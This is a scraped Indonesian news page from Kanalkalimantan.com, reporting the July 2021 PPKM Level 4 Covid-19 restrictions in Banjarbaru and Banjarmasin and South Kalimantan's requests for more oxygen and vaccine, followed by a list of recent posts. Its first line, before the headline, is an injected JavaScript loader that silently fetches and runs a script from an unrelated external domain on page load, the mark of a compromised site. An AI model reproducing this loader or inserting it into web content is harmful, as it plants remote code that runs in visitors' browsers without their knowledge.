(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

PPKM Level 4 Banjarbaru-Banjarmasin Selama 14 Hari, Kalsel Minta Tambahan Vaksin dan Oksigen!


KANALKALIMANTAN.COM, BANJARBARU- Warga Banjarbaru dan Banjarmasin harus bersiap menyambut Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) level 4, yang dilakukan selama 14 hari sejak Senin (26/7/2021) hingga Minggu (8/8/ 2021).

Rentang waktu 2 pekan untuk lebih banyak aktivitas di rumah ini, diharapkan akan mampu menurunkan laju Covid-19 di Banjarmasin dan Banjarbaru yang terus meroket beberapa minggu terakhir.

Pemberlakuan PPKM level 4 selama 14 hari ini disampaikan usai Rapat Koordinasi yang dipimpin Menko Bidang Perekonomian, Airlangga Hartarto, secara virtual, Sabtu (24/7/2021) sore. Rapat diikuti Penjabat Gubernur Kalsel, Safrizal ZA, melalui video conference di kediaman Dinas, Banjarmasin.

Airlangga menerangkan, pada minggu ke-3 bulan Juli, sejumlah provinsi termasuk Kalimantan Selatan mengalami peningkatan kasus konfirmasi lebih dari 150 persen. Maka, perlu pengetatan pembatasan kegiatan masyarakat untuk mengendalikan laju kenaikan.

 

 

Baca juga: PENTING. Jelang PPKM Level 4 Banjarbaru dan Banjarmasin, Ini Cara Download Sertifikat Vaksin

Sementara Pj Gubernur Kalsel Safrizal ZA dalam laporannya, menyatakan kesiapan untuk memberlakukan PPKM level 4 mulai Senin 26 Juli nanti.

“Dari dua hari yang lalu sudah kami siapkan, namun memang menunggu instruksi secara formal,” ujarnya.

Safrizal menyampaikan dua hal yang menjadi perhatian saat ini, yakni ketersediaan oksigen dan jatah vaksin.

“Oksigen mulai menipis. Kami kemarin berkoordinasi dengan SKK Migas, dan kami dapat isi tank 20 ton. Untuk isinya, kami mohon untuk dibantu,” ucapnya.

Lanjutnya, vaksinasi di Kalsel terus gencar dilakukan. Namun, ia berharap pemerintah bisa mendatangkan jatah lebih banyak.

Baca juga: Oksigen Ramai Diburu, Kalsel Bentuk ‘Satgas Khusus’ Hindari Kelangkaan Pasokan!

Sementara itu, Kepala Dinas Kesehatan Provinsi Kalsel, HM Muslim, menjelaskan, indikator PPKM level 4 didasari oleh laju penularan dan kemampuan merespons laju tersebut. Untuk wilayah lainnya di Kalsel, ujarnya, juga terjadi peningkatan kasus positif meski tidak setinggi Banjarbaru dan Banjarmasin.

“Yang meningkat ada Tanah Laut dan Kabupaten Banjar,” jelasnya, ditemui usai Rapat Koordinasi.

Terkait kebutuhan oksigen, ia mengungkapkan ada peningkatan sebanyak dua sampai tiga kali lipat.

Kendati begitu, pemprov terus berupaya untuk melakukan koordinasi guna menambah ketersediaan oksigen. “Kita minta kepada pihak industri agar (oksigen) khusus disalurkan ke medis,” pungkas Muslim. (Kanalkalimantan.com/dewi)

Reporter: dewi
Editor: cell


Risa

Recent Posts

Banmus DPRD Kapuas Susun Kegiatan Masa Persidangan Kedua

KANALKALIMANTAN.COM, KUALA KAPUAS - Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas menggelar rapat Badan Musyawarah… Read More

9 jam ago

Festival Hasil Panen Belajar Program Guru Penggerak di HSU

KANALKALIMANTAN.COM, AMUNTAI - Puluhan hasil karya ditampilkan dalam Festival Hasil Panen Belajar Lokakarya 7 Program… Read More

9 jam ago

Bawaslu Kalsel Buka Seleksi Panwascam, Pengawas Lama Tak Penuhi Syarat Diganti

KANALKALIMANTAN.COM, BANJARMASIN - Badan Pengawas Pemilihan Umum (Bawaslu) Provinsi Kalimantan Selatan membuka rekrutmen pengawas ad… Read More

10 jam ago

Sekretariat DPRD Kapuas Ikut Meriahkan Pawai Budaya

KANALKALIMANTAN.COM, KUALA KAPUAS - Pawai budaya rangkaian memeriahkan Hari Jadi ke-218 Kota Kuala Kapuas dan… Read More

10 jam ago

Opsi Lain Maju Pilkada Banjarbaru, Minimal Kantongi 19.061 KTP Dukungan

KANALKALIMANTAN.COM, BANJARBARU -Komisi Pemilihan Umum (KPU) Kota Banjarbaru akan memulai tahapan penyelenggaraan Pilkada dengan membuka pemenuhan… Read More

10 jam ago

Peringati Hari Kartini, Ini Pesan Pj Bupati HSU

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menghadiri peringatan Hari… Read More

12 jam ago

This website uses cookies.